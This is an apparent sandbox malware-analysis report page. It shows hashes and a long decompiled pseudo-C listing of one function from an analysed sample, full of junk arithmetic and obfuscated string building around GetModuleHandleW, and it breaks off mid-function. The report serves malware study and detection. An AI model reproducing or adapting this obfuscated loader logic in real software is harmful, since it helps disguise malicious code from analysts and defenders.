Instruction ID: 3e16d2164f8d2a5e8943222f2ffc1f9b9339b7b612c7f5e044403cd305a8c0ed
Opcode Fuzzy Hash: 8f9877d62318573364b680f58bdd96403b1a30c6e5fd2d7d74d0ea7d8677bd8a
Instruction Fuzzy Hash: E2F0AFF2B023214FE7149F789D417467BD5F706354F10417EE909EBB9AE7B098018B84

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0085E760 Relevance: 153.2, APIs: 12, Strings: 73, Instructions: 4411
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0085E760(void* __ebx, void* __edi, void* __esi) {
				struct HINSTANCE__* _v8;
				char _v12;
				char _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				signed int _v76;
				intOrPtr _v80;
				char _v81;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				intOrPtr _v112;
				char _v113;
				char _v114;
				char _v115;
				intOrPtr _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v204;
				char _v328;
				char _v344;
				char _v368;
				char _v376;
				char _v412;
				char _v416;
				char _v420;
				signed int _v424;
				char _v432;
				char _v440;
				char _v448;
				char _v456;
				char _v468;
				char _v480;
				char _v492;
				char _v504;
				char _v520;
				char _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				intOrPtr _v536;
				intOrPtr _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				char _v572;
				char _v576;
				char _v580;
				intOrPtr _v584;
				intOrPtr _v588;
				intOrPtr _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				intOrPtr _v604;
				char _v608;
				char _v612;
				intOrPtr _v616;
				intOrPtr _v620;
				char _v624;
				char _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				char _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				intOrPtr _v672;
				intOrPtr _v676;
				intOrPtr _v680;
				intOrPtr _v684;
				intOrPtr _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				intOrPtr _v700;
				intOrPtr _v704;
				char _v708;
				char _v712;
				intOrPtr _v716;
				intOrPtr _v720;
				intOrPtr _v724;
				intOrPtr _v728;
				intOrPtr _v732;
				intOrPtr _v736;
				intOrPtr _v740;
				intOrPtr _v744;
				intOrPtr _v748;
				intOrPtr _v752;
				intOrPtr _v756;
				intOrPtr _v760;
				intOrPtr _v764;
				intOrPtr _v768;
				intOrPtr _v772;
				intOrPtr _v776;
				intOrPtr _v780;
				intOrPtr _v784;
				intOrPtr _v788;
				char _v792;
				intOrPtr _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _v816;
				intOrPtr _v820;
				intOrPtr _v824;
				intOrPtr _v828;
				intOrPtr _v832;
				intOrPtr _v836;
				intOrPtr _v840;
				intOrPtr _v844;
				intOrPtr _v848;
				intOrPtr _v852;
				intOrPtr _v856;
				intOrPtr _v860;
				intOrPtr _v864;
				intOrPtr _v868;
				char _v872;
				intOrPtr _v876;
				intOrPtr _v880;
				intOrPtr _v884;
				intOrPtr _v888;
				intOrPtr _v892;
				intOrPtr _v896;
				intOrPtr _v900;
				intOrPtr _v904;
				intOrPtr _v908;
				intOrPtr _v912;
				intOrPtr _v916;
				intOrPtr _v920;
				intOrPtr _v924;
				intOrPtr _v928;
				intOrPtr _v932;
				char _v936;
				intOrPtr _v940;
				intOrPtr _v944;
				intOrPtr _v948;
				intOrPtr _v952;
				intOrPtr _v956;
				intOrPtr _v960;
				intOrPtr _v964;
				intOrPtr _v968;
				intOrPtr _v972;
				intOrPtr _v976;
				intOrPtr _v980;
				intOrPtr _v984;
				intOrPtr _v988;
				intOrPtr _v992;
				char _v996;
				intOrPtr _v1000;
				intOrPtr _v1004;
				intOrPtr _v1008;
				intOrPtr _v1012;
				intOrPtr _v1016;
				intOrPtr _v1020;
				intOrPtr _v1024;
				intOrPtr _v1028;
				intOrPtr _v1032;
				intOrPtr _v1036;
				intOrPtr _v1040;
				char _v1044;
				char _v1048;
				intOrPtr _v1052;
				intOrPtr _v1056;
				intOrPtr _v1060;
				intOrPtr _v1064;
				intOrPtr _v1068;
				intOrPtr _v1072;
				intOrPtr _v1076;
				char _v1080;
				intOrPtr _v1084;
				intOrPtr _v1088;
				intOrPtr _v1092;
				intOrPtr _v1096;
				intOrPtr _v1100;
				intOrPtr _v1104;
				char _v1108;
				char _v1112;
				char _v1116;
				char _v1132;
				char _v1148;
				char _v1164;
				char _v1184;
				char _v1204;
				char _v1224;
				char _v1244;
				char _v1268;
				char _v1292;
				char _v1316;
				char _v1340;
				char _v1368;
				char _v1396;
				char _v1424;
				char _v1452;
				char _v1456;
				char _v1460;
				char _v1464;
				intOrPtr _v1468;
				intOrPtr _v1472;
				intOrPtr _v1476;
				char _v1480;
				intOrPtr _v1484;
				intOrPtr _v1488;
				intOrPtr _v1492;
				intOrPtr _v1496;
				intOrPtr _v1500;
				intOrPtr _v1504;
				intOrPtr _v1508;
				intOrPtr _v1512;
				intOrPtr _v1516;
				intOrPtr _v1520;
				intOrPtr _v1524;
				intOrPtr _v1528;
				intOrPtr _v1532;
				char _v1536;
				intOrPtr _v1540;
				intOrPtr _v1544;
				intOrPtr _v1548;
				intOrPtr _v1552;
				intOrPtr _v1556;
				intOrPtr _v1560;
				intOrPtr _v1564;
				intOrPtr _v1568;
				intOrPtr _v1572;
				intOrPtr _v1576;
				intOrPtr _v1580;
				intOrPtr _v1584;
				intOrPtr _v1588;
				intOrPtr _v1592;
				intOrPtr _v1596;
				intOrPtr _v1600;
				intOrPtr _v1604;
				char _v1608;
				intOrPtr _v1612;
				intOrPtr _v1616;
				intOrPtr _v1620;
				intOrPtr _v1624;
				intOrPtr _v1628;
				intOrPtr _v1632;
				intOrPtr _v1636;
				intOrPtr _v1640;
				intOrPtr _v1644;
				intOrPtr _v1648;
				intOrPtr _v1652;
				intOrPtr _v1656;
				intOrPtr _v1660;
				intOrPtr _v1664;
				char _v1668;
				intOrPtr _v1672;
				intOrPtr _v1676;
				intOrPtr _v1680;
				intOrPtr _v1684;
				intOrPtr _v1688;
				intOrPtr _v1692;
				intOrPtr _v1696;
				intOrPtr _v1700;
				intOrPtr _v1704;
				intOrPtr _v1708;
				intOrPtr _v1712;
				intOrPtr _v1716;
				intOrPtr _v1720;
				intOrPtr _v1724;
				intOrPtr _v1728;
				char _v1732;
				char _v1736;
				char _v1740;
				intOrPtr _v1744;
				intOrPtr _v1748;
				intOrPtr _v1752;
				intOrPtr _v1756;
				intOrPtr _v1760;
				intOrPtr _v1764;
				intOrPtr _v1768;
				intOrPtr _v1772;
				intOrPtr _v1776;
				intOrPtr _v1780;
				intOrPtr _v1784;
				intOrPtr _v1788;
				intOrPtr _v1792;
				intOrPtr _v1796;
				intOrPtr _v1800;
				intOrPtr _v1804;
				intOrPtr _v1808;
				intOrPtr _v1812;
				char _v1816;
				char _v1820;
				intOrPtr _v1824;
				intOrPtr _v1828;
				intOrPtr _v1832;
				intOrPtr _v1836;
				intOrPtr _v1840;
				intOrPtr _v1844;
				intOrPtr _v1848;
				intOrPtr _v1852;
				intOrPtr _v1856;
				intOrPtr _v1860;
				intOrPtr _v1864;
				intOrPtr _v1868;
				intOrPtr _v1872;
				intOrPtr _v1876;
				intOrPtr _v1880;
				intOrPtr _v1884;
				intOrPtr _v1888;
				intOrPtr _v1892;
				intOrPtr _v1896;
				intOrPtr _v1900;
				char _v1904;
				char _v1908;
				intOrPtr _v1912;
				intOrPtr _v1916;
				intOrPtr _v1920;
				intOrPtr _v1924;
				intOrPtr _v1928;
				intOrPtr _v1932;
				char _v1936;
				char _v1940;
				intOrPtr _v1944;
				intOrPtr _v1948;
				intOrPtr _v1952;
				intOrPtr _v1956;
				intOrPtr _v1960;
				intOrPtr _v1964;
				intOrPtr _v1968;
				intOrPtr _v1972;
				intOrPtr _v1976;
				intOrPtr _v1980;
				intOrPtr _v1984;
				intOrPtr _v1988;
				intOrPtr _v1992;
				intOrPtr _v1996;
				intOrPtr _v2000;
				intOrPtr _v2004;
				intOrPtr _v2008;
				intOrPtr _v2012;
				intOrPtr _v2016;
				intOrPtr _v2020;
				intOrPtr _v2024;
				intOrPtr _v2028;
				intOrPtr _v2032;
				intOrPtr _v2036;
				intOrPtr _v2040;
				intOrPtr _v2044;
				intOrPtr _v2048;
				intOrPtr _v2052;
				intOrPtr _v2056;
				intOrPtr _v2060;
				intOrPtr _v2064;
				intOrPtr _v2068;
				intOrPtr _v2072;
				char _v2076;
				char _v2080;
				intOrPtr _v2084;
				intOrPtr _v2088;
				intOrPtr _v2092;
				char _v2096;
				char _v2100;
				char _v2212;
				char _v2528;
				char _v2532;
				char _v2580;
				char _v2612;
				char _v2640;
				char _v2988;
				char _v3016;
				char _v3036;
				char _v3396;
				char _v3456;
				char _v3468;
				char _v3792;
				char _v3828;
				char _v3844;
				char _v4172;
				char _v4176;
				char _v4212;
				char _v4604;
				char _v4624;
				char _v4628;
				char _v4852;
				char _v4856;
				char _v4900;
				char _v4980;
				char _v4984;
				char _v5012;
				char _v5316;
				char _v5320;
				char _v5408;
				intOrPtr _t1874;
				signed int _t1892;
				intOrPtr* _t1898;
				intOrPtr* _t1903;
				intOrPtr* _t1908;
				intOrPtr* _t1913;
				intOrPtr _t1991;
				signed int _t1993;
				intOrPtr _t1994;
				signed int _t2000;
				signed int _t2004;
				signed int _t2009;
				intOrPtr _t2010;
				signed int _t2012;
				signed int _t2014;
				signed int _t2015;
				char* _t2016;
				char* _t2019;
				char* _t2024;
				char* _t2033;
				char* _t2038;
				char* _t2043;
				signed int _t2048;
				signed int _t2155;
				intOrPtr _t2156;
				signed int _t2157;
				signed int _t2158;
				signed int _t2160;
				signed int _t2162;
				signed int _t2163;
				intOrPtr _t2168;
				signed int _t2176;
				signed int _t2179;
				signed int _t2181;
				intOrPtr _t2183;
				signed int _t2190;
				signed int _t2192;
				intOrPtr _t2194;
				signed int _t2197;
				signed int _t2198;
				signed int _t2199;
				intOrPtr _t2201;
				signed int _t2203;
				intOrPtr _t2204;
				intOrPtr _t2205;
				intOrPtr _t2208;
				intOrPtr _t2210;
				intOrPtr _t2213;
				signed int _t2215;
				intOrPtr _t2217;
				intOrPtr _t2219;
				signed int _t2223;
				signed int _t2229;
				signed int _t2237;
				signed int _t2239;
				intOrPtr _t2241;
				signed int _t2242;
				intOrPtr* _t2252;
				intOrPtr* _t2257;
				intOrPtr* _t2262;
				intOrPtr* _t2267;
				intOrPtr* _t2334;
				intOrPtr* _t2339;
				intOrPtr* _t2344;
				intOrPtr* _t2394;
				intOrPtr* _t2399;
				intOrPtr* _t2404;
				signed int _t2451;
				signed int _t2453;
				signed int _t2455;
				signed int _t2456;
				signed int _t2457;
				signed int _t2458;
				signed int _t2460;
				signed int _t2462;
				signed int _t2466;
				signed int _t2467;
				signed int _t2469;
				signed int _t2475;
				intOrPtr* _t2481;
				intOrPtr* _t2486;
				intOrPtr* _t2491;
				signed int _t2539;
				intOrPtr* _t2543;
				intOrPtr* _t2548;
				intOrPtr* _t2553;
				intOrPtr* _t2592;
				intOrPtr* _t2597;
				intOrPtr* _t2632;
				intOrPtr* _t2637;
				intOrPtr* _t2642;
				intOrPtr _t2687;
				intOrPtr* _t2695;
				intOrPtr* _t2700;
				intOrPtr* _t2705;
				signed int _t2745;
				intOrPtr _t2748;
				signed int _t2749;
				signed int _t2751;
				intOrPtr* _t2753;
				intOrPtr* _t2758;
				intOrPtr* _t2763;
				intOrPtr* _t2768;
				signed int _t2814;
				signed int _t2815;
				signed int _t2818;
				signed int _t2819;
				signed int _t2820;
				intOrPtr* _t2825;
				intOrPtr* _t2830;
				intOrPtr* _t2835;
				intOrPtr _t2876;
				intOrPtr* _t2885;
				intOrPtr* _t2890;
				intOrPtr* _t2895;
				intOrPtr* _t2938;
				intOrPtr* _t2943;
				intOrPtr* _t2948;
				intOrPtr* _t2953;
				intOrPtr* _t2958;
				intOrPtr* _t3012;
				intOrPtr* _t3017;
				intOrPtr* _t3022;
				intOrPtr* _t3027;
				intOrPtr* _t3032;
				intOrPtr* _t3037;
				intOrPtr* _t3105;
				intOrPtr* _t3110;
				intOrPtr* _t3115;
				intOrPtr* _t3120;
				intOrPtr* _t3125;
				intOrPtr* _t3130;
				intOrPtr* _t3151;
				intOrPtr* _t3156;
				intOrPtr* _t3161;
				intOrPtr* _t3166;
				intOrPtr* _t3194;
				intOrPtr* _t3199;
				intOrPtr* _t3204;
				intOrPtr* _t3246;
				intOrPtr* _t3251;
				intOrPtr* _t3256;
				intOrPtr* _t3275;
				intOrPtr* _t3280;
				intOrPtr* _t3285;
				signed int _t3318;
				signed int _t3320;
				signed int _t3329;
				signed int _t3331;
				signed int _t3333;
				intOrPtr _t3334;
				signed int _t3335;
				signed int _t3336;
				signed int _t3337;
				intOrPtr _t3338;
				intOrPtr _t3340;
				intOrPtr _t3343;
				signed int _t3345;
				signed int _t3348;
				signed int _t3350;
				intOrPtr _t3352;
				intOrPtr _t3360;
				signed int _t3362;
				signed int _t3364;
				signed int _t3366;
				intOrPtr _t3369;
				signed int _t3371;
				signed int _t3374;
				signed int _t3375;
				signed int _t3377;
				signed int _t3378;
				intOrPtr _t3379;
				signed int _t3392;
				signed int _t3394;
				signed int _t3396;
				intOrPtr _t3398;
				signed int _t3399;
				signed int _t3400;
				signed int _t3404;
				signed int _t3407;
				signed int _t3408;
				char* _t3420;
				char* _t3423;
				char* _t3428;
				char* _t3433;
				char* _t3438;
				char* _t3443;
				char* _t3448;
				char* _t3453;
				char* _t3462;
				char* _t3467;
				char* _t3472;
				char* _t3493;
				char* _t3496;
				char* _t3501;
				char* _t3510;
				char* _t3515;
				char* _t3524;
				char* _t3529;
				char* _t3534;
				char* _t3543;
				char* _t3548;
				char* _t3553;
				char* _t3558;
				char* _t3567;
				char* _t3572;
				char* _t3577;
				char* _t3582;
				char* _t3587;
				char* _t3592;
				char* _t3597;
				char* _t3602;
				char* _t3607;
				char* _t3616;
				intOrPtr _t3660;
				signed int _t3663;
				void* _t3666;
				signed int _t3668;
				signed int _t3670;
				signed int _t3672;
				signed int _t3674;
				intOrPtr _t3675;
				void* _t3677;
				intOrPtr _t3679;
				signed int _t3681;
				signed int _t3683;
				signed int _t3685;
				signed int _t3691;
				signed int _t3693;
				intOrPtr _t3695;
				signed int _t3735;
				signed int _t3737;
				intOrPtr _t3739;
				signed int _t3751;
				char* _t3776;
				char* _t3779;
				char* _t3784;
				char* _t3789;
				char* _t3794;
				char* _t3799;
				char* _t3804;
				char* _t3809;
				char* _t3818;
				char* _t3823;
				char* _t3828;
				char* _t3865;
				char* _t3868;
				char* _t3873;
				char* _t3878;
				char* _t3883;
				char* _t3892;
				char* _t3897;
				char* _t3902;
				void* _t3911;
				intOrPtr _t4323;
				intOrPtr* _t4326;
				intOrPtr* _t4329;
				intOrPtr* _t4333;
				intOrPtr* _t4339;
				intOrPtr* _t4343;
				intOrPtr* _t4347;
				intOrPtr _t4351;
				signed int _t4649;
				intOrPtr _t4842;
				intOrPtr _t4896;
				intOrPtr* _t4908;
				intOrPtr* _t4911;
				intOrPtr* _t4915;
				intOrPtr* _t4919;
				intOrPtr* _t4923;
				intOrPtr* _t4927;
				intOrPtr* _t4931;
				intOrPtr* _t4935;
				intOrPtr* _t4941;
				intOrPtr* _t4945;
				intOrPtr* _t4949;
				intOrPtr* _t4961;
				intOrPtr* _t4964;
				intOrPtr* _t4968;
				intOrPtr* _t4974;
				intOrPtr* _t4978;
				intOrPtr* _t4984;
				intOrPtr* _t4988;
				intOrPtr* _t4992;
				intOrPtr* _t4998;
				intOrPtr* _t5002;
				intOrPtr* _t5006;
				intOrPtr* _t5010;
				intOrPtr* _t5016;
				intOrPtr* _t5020;
				intOrPtr* _t5024;
				intOrPtr* _t5028;
				intOrPtr* _t5032;
				intOrPtr* _t5036;
				intOrPtr* _t5040;
				intOrPtr* _t5044;
				intOrPtr* _t5048;
				intOrPtr* _t5054;
				intOrPtr* _t5097;
				intOrPtr* _t5100;
				intOrPtr* _t5104;
				intOrPtr* _t5108;
				intOrPtr* _t5112;
				intOrPtr* _t5116;
				intOrPtr* _t5120;
				intOrPtr* _t5124;
				intOrPtr* _t5130;
				intOrPtr* _t5134;
				intOrPtr* _t5138;
				intOrPtr* _t5154;
				intOrPtr* _t5157;
				intOrPtr* _t5161;
				intOrPtr* _t5165;
				intOrPtr* _t5169;
				intOrPtr* _t5175;
				intOrPtr* _t5179;
				intOrPtr* _t5183;
				intOrPtr _t5190;
				intOrPtr _t5191;
				void* _t5247;
				void* _t5305;
				void* _t5307;
				char _t5349;
				char _t5355;

				_t5188 = __esi;
				_t5187 = __edi;
				_t3910 = __ebx;
				_t5190 = _t5191;
				_t3911 = 0x2a3;
				goto L1;
				L17:
				_push(_t5190);
				_push(0x86ec50);
				_push( *[fs:eax]);
				 *[fs:eax] = _t5191;
				E0040A0C0( &_v12, _v16);
				_t1892 =  *0x8a9b78; // 0xe152
				 *0x8a9b18 = _t1892;
				E0040A0C0( &_v12, L"mscat32.dll");
				if(_v56 > _v24) {
					_v72 = 0;
					_v424 = _v68 + 0x6c;
					asm("fild dword [ebp-0x1a4]");
					_v24 = E004076E8();
					asm("fild dword [ebp-0x1c]");
					_v28 = E004076F4();
					asm("fild dword [ebp-0x34]");
					_v40 = E004076E8();
					 *0x8a9b18 =  *0x8a9ba4 * 0x33;
					 *0x8a9b78 =  *0x8a9ad8 * 0xc9;
					_t3751 =  *0x8a9a34; // 0x3ea7bd43
					 *0x8a9a44 = _t3751 + 0xfa;
				}
				 *0x8a9b88 = 0;
				E0085E4BC();
				_t1898 =  *0x8a9f14; // 0x8b0922
				_v81 =  *_t1898;
				if(_v81 + 0x9f - 0x1a < 0) {
					_v81 = _v81 - 0x20;
				}
				_t1903 =  *0x8aa080; // 0x8b0916
				_v82 =  *_t1903;
				if(_v82 + 0x9f - 0x1a < 0) {
					_v82 = _v82 - 0x20;
				}
				_t1908 =  *0x8a9ce4; // 0x8b0912
				_v83 =  *_t1908;
				if(_v83 + 0x9f - 0x1a < 0) {
					_v83 = _v83 - 0x20;
				}
				_t1913 =  *0x8a9cf4; // 0x8b0911
				_v84 =  *_t1913;
				if(_v84 + 0x9f - 0x1a < 0) {
					_v84 = _v84 - 0x20;
				}
				E0040A3C0(0);
				_push(_v528);
				E0040A3C0(0);
				_push(_v532);
				E0040A3C0(0);
				_push(_v536);
				E0040A3C0(0);
				_push(_v540);
				E0040A3C0(0);
				_push(_v544);
				E0040A3C0(0);
				_push(_v548);
				E0040A3C0(0);
				_push(_v552);
				E0040A3C0(0);
				_push(_v556);
				E0040A3C0(0);
				_push(_v560);
				E0040A3C0(0);
				_push(_v564);
				E0040A3C0(0);
				_push(_v568);
				E0040A3C0(0);
				E0040A494( &_v524, _t3910, 0xc, _t5187, _t5188);
				E0040A9E8( &_v12, _v524, _v572);
				E0040A950();
				_push(_v584);
				E0040A950();
				_push(_v588);
				E0040A950();
				_push(_v592);
				E0040A950();
				_push(_v596);
				E0040A950();
				_push(_v600);
				E0040A950();
				_push(_v604);
				E00422C7C(3,  &_v608);
				_push(_v608);
				E00422C7C(2,  &_v612);
				_push(_v612);
				_push(0x86f4dc);
				E0040A950();
				_push(_v616);
				E0040A950();
				_push(_v620);
				E0040A950();
				_push(_v624);
				E0040AC04( &_v580, _t3910, 0xc, _t5187, _t5188);
				E0040AA1C( &_v576, _v580);
				_v8 = GetModuleHandleW(E0040A71C(_v576));
				_v72 = 0;
				do {
					E0040A0C0( &_v12, _v20);
					_v72 = _v72 + 1;
				} while (_v72 != 5);
				_v36 = 0;
				E0085E4BC();
				_v68 = 0;
				do {
					E0040A0C0( &_v12, _v12);
					_v68 = _v68 + 1;
				} while (_v68 != 0xc);
				_v60 = 0;
				while(_v60 < 0xd) {
					_v60 = _v60 + 1;
					E0040A0C0( &_v12, _v16);
					_v64 = 0;
					while(_v64 < 0xc) {
						_v64 = _v64 + 1;
						_v76 = _v24 + _v40;
						_v32 = 0x9c - _v56;
						_t3735 =  *0x8a9a9c; // 0xdd124098
						 *0x8a9ae4 = _t3735 *  *0x8a9a68;
						_t3737 =  *0x8a9b24; // 0x3d5d8262
						 *0x8a9b5c = _t3737 + 4;
						_t3739 =  *0x8a9ac4; // 0x3d5d836c
						_v424 = _t3739 + 4;
						asm("fild dword [ebp-0x1a4]");
						 *0x8a9a68 = E004076F4();
						 *0x8a9b14 =  *0x8a9ab4 * 0xc1;
					}
				}
				E0040A0C0( &_v12, _v12);
				 *0x8a9af0 = 0;
				E0085E4BC();
				if(_v8 == 0) {
					E0040A0C0( &_v12, _v12);
					_v72 = 0;
					_t1991 =  *0x8a9b3c; // 0xd52e2db0
					 *0x8a9b3c = E00407278(_t1991);
					_t1993 =  *0x8a9a50; // 0x21bb532
					 *0x8a9b74 = _t1993;
					_t1994 =  *0x8a9b3c; // 0xd52e2db0
					__eflags = _t1994 -  *0x8a9b74; // 0x6c1f3c91
					if(__eflags < 0) {
						_v24 = _v32 + 0xd;
						asm("fild dword [ebp-0x28]");
						_v40 = E004076F4();
						_v424 = _v28 + 0x98;
						asm("fild dword [ebp-0x1a4]");
						_v68 = E004076E8();
						_t2237 =  *0x8a9a50; // 0x21bb532
						 *0x8a9b24 = _t2237 + 0x3a;
						_t2239 =  *0x8a9a3c; // 0xf5bf4efb
						 *0x8a9ba8 = _t2239 +  *0x8a9b90;
						_t2241 =  *0x8a9b00; // 0x23fd000
						_t2242 = _t2241 -  *0x8a99e4;
						__eflags = _t2242;
						 *0x8a9ae0 = _t2242;
					}
					E0040A0C0( &_v12, _v16);
					 *0x8a9b60 =  *0x8a9a50 * 0x89;
					 *0x8a9ae4 = 0;
					E0085E4BC();
					_t2000 =  *0x8a9b84; // 0x3d5d8300
					 *0x8a9b68 = _t2000 + 0x2b;
					 *0x8a9ac8 = 0;
					E0085E4BC();
					_t2004 =  *0x8a9a68; // 0xc1cbcb7
					 *0x8a9b08 = _t2004;
					_pop(_t4323);
					 *[fs:eax] = _t4323;
					_v48 = _v40 * _v36;
					_v64 = 0;
					__eflags = _v64 - 3;
					if(_v64 < 3) {
						_v64 = _v64 + 1;
						__eflags = 0;
						_v68 = 0;
						do {
							_v424 = _v52 + 0x73;
							asm("fild dword [ebp-0x1a4]");
							_v76 = E004076E8();
							_v32 = 0xfa - _v24;
							_t2176 =  *0x8a9b44; // 0xd1f819c4
							 *0x8a9adc = _t2176 + _t2176 * 4 + (_t2176 + _t2176 * 4) * 4;
							_t2179 =  *0x8a9ba8; // 0xb7179160
							 *0x8a9ba0 = _t2179 *  *0x8a9a68;
							_t2181 =  *0x8a9a3c; // 0xf5bf4efb
							 *0x8a9ae8 = _t2181 +  *0x8a9ba8;
							_t2183 =  *0x8a9af4; // 0x4c5f602c
							_v424 = _t2183 + 0xa1;
							asm("fild dword [ebp-0x1a4]");
							 *0x8a9a58 = E004076E8();
							_v68 = _v68 + 1;
							__eflags = _v68 - 0xc;
						} while (_v68 != 0xc);
						E0040ACB4(_v20, _v12);
						if(__eflags != 0) {
							 *0x8a9b90 =  *0x8a9b48 * 0xc2;
							 *0x8a9ab8 =  *0x8a9aa4 * 0x57;
							_t2190 =  *0x8a9a50; // 0x21bb532
							 *0x8a9b58 = _t2190 + 0x86;
							_t2192 =  *0x8a9b14; // 0xdd124098
							 *0x8a9a84 = _t2192 - 0x81;
							_t2194 =  *0x8a9af4; // 0x4c5f602c
							_v424 = _t2194 + 0x4a;
							asm("fild dword [ebp-0x1a4]");
							 *0x8a9b28 = E004076E8();
							_t2197 =  *0x8a9ba4; // 0x9636d1f4
							_t2198 = _t2197 + 4;
							__eflags = _t2198;
							 *0x8a9a3c = _t2198;
						} else {
							_t2219 =  *0x8a9b30; // 0x46db6ea8
							_v424 = _t2219 + 4;
							asm("fild dword [ebp-0x1a4]");
							 *0x8a9a88 = E004076F4();
							 *0x8a9b28 =  *0x8a9b20 * 0xe4;
							_t2223 =  *0x8a9b84; // 0x3d5d8300
							 *0x8a9b98 = _t2223 +  *0x8a9ae8;
							 *0x8a9af0 = 0xe -  *0x8a9b70;
							 *0x8a9b98 = 0xa3 -  *0x8a9adc;
							_t2229 =  *0x8a9b18; // 0x12e
							 *0x8a9a94 = _t2229 +  *0x8a9a64;
						}
						_t2199 =  *0x8a9b48; // 0xb2
						 *0x8a9a44 = _t2199 -  *0x8a9a54;
						_t2201 =  *0x8a9b3c; // 0xd52e2db0
						 *0x8a9b3c = E00407278(_t2201);
						_t2203 =  *0x8a9b84; // 0x3d5d8300
						 *0x8a9b70 = _t2203;
						_t2204 =  *0x8a9b3c; // 0xd52e2db0
						__eflags = _t2204 -  *0x8a9b70; // 0xfe23f735
						if(__eflags > 0) {
							_t2205 =  *0x8a9a58; // 0x22edbf74
							_v424 = _t2205 + 4;
							asm("fild dword [ebp-0x1a4]");
							 *0x8a9b00 = E004076F4();
							_t2208 =  *0x8a9ad4; // 0xa40b347
							 *0x8a9bc0 = _t2208 + 0xe9;
							_t2210 =  *0x8a9abc; // 0x46db6e96
							_v424 = _t2210 + 4;
							asm("fild dword [ebp-0x1a4]");
							 *0x8a9ac8 = E004076F4();
							_t2213 =  *0x8a9ae8; // 0x7c
							 *0x8a9b98 = _t2213 - 0x79;
							_t2215 = E008A9A8C; // 0x3ec86c80
							 *0x8a9ab4 = _t2215 + 4;
							_t2217 =  *0x8a9abc; // 0x46db6e96
							 *0x8a9b80 = _t2217 +  *0x8a9ba8;
						}
					}
					_t2009 =  *0x8a9a68; // 0xc1cbcb7
					 *0x8a9aa4 = _t2009;
					_t2010 =  *0x8a9afc; // 0x0
					E0040ACB4(_t2010, L"IMEPADSM.DLL");
					if(__eflags != 0) {
						_t2012 =  *0x8a9b60; // 0xf477f20
						 *0x8a9a58 = _t2012 - 0x42;
						_t2014 =  *0x8a9bb0; // 0x6c9a
						 *0x8a9b40 = _t2014;
						_t2015 =  *0x8a9b40; // 0xa8062ee0
						__eflags = _t2015 -  *0x8a9aa4; // 0xf5bf4f76
						if(__eflags < 0) {
							_t2156 =  *0x8a9a84; // 0xf5bf4ea3
							 *0x8a9ac0 = _t2156;
							_t2157 =  *0x8a9b78; // 0xe152
							 *0x8a9b6c = _t2157;
							_t2158 =  *0x8a9aa0; // 0x874f31f
							 *0x8a9a40 = _t2158 -  *0x8a9b48;
							_t2160 =  *0x8a9b90; // 0xb7179160
							 *0x8a9b4c = _t2160 + 0x79;
							_t2162 =  *0x8a9b44; // 0xd1f819c4
							_t2163 = _t2162 *  *0x8a9ba8;
							__eflags = _t2163;
							 *0x8a9a54 = _t2163;
							asm("fild dword [0x8a9b2c]");
							 *0x8a9b44 = E004076F4();
						}
					} else {
						E0040ACEC(_v12, 0, 1,  &_v12);
						_t2168 =  *0x8a9a70; // 0x9636d1f8
						 *0x8a9a40 = _t2168 + 0xf;
					}
					_t2016 =  &_v412;
					_t4326 =  *0x8aa104; // 0x8b0919
					 *((char*)(_t2016 + 1)) =  *_t4326;
					 *_t2016 = 1;
					E0040A324( &_v416,  &_v412);
					_t2019 =  &_v420;
					_t4329 =  *0x8a9fd0; // 0x8b0917
					 *((char*)(_t2019 + 1)) =  *_t4329;
					 *_t2019 = 1;
					E0040A34C( &_v416, 2,  &_v420);
					E0040A324( &_v424,  &_v416);
					_t2024 =  &_v420;
					_t4333 =  *0x8aa15c; // 0x8b091c
					 *((char*)(_t2024 + 1)) =  *_t4333;
					 *_t2024 = 1;
					E0040A34C( &_v424, 3,  &_v420);
					E0040A324( &_v432,  &_v424);
					E0040A34C( &_v432, 4, 0x86f3d4);
					E0040A324( &_v440,  &_v432);
					_t2033 =  &_v420;
					_t4339 =  *0x8aa15c; // 0x8b091c
					 *((char*)(_t2033 + 1)) =  *_t4339;
					 *_t2033 = 1;
					E0040A34C( &_v440, 5,  &_v420);
					E0040A324( &_v448,  &_v440);
					_t2038 =  &_v420;
					_t4343 =  *0x8a9f14; // 0x8b0922
					 *((char*)(_t2038 + 1)) =  *_t4343;
					 *_t2038 = 1;
					E0040A34C( &_v448, 6,  &_v420);
					E0040A324( &_v456,  &_v448);
					_t2043 =  &_v420;
					_t4347 =  *0x8a9f14; // 0x8b0922
					 *((char*)(_t2043 + 1)) =  *_t4347;
					 *_t2043 = 1;
					E0040A34C( &_v456, 7,  &_v420);
					E0040AA98( &_v456);
					_t2048 =  *0x8a9b38; // 0xfde44b1c
					__eflags = _t2048 + 0xf1 -  *0x8a9abc; // 0x46db6e96
					if(__eflags < 0) {
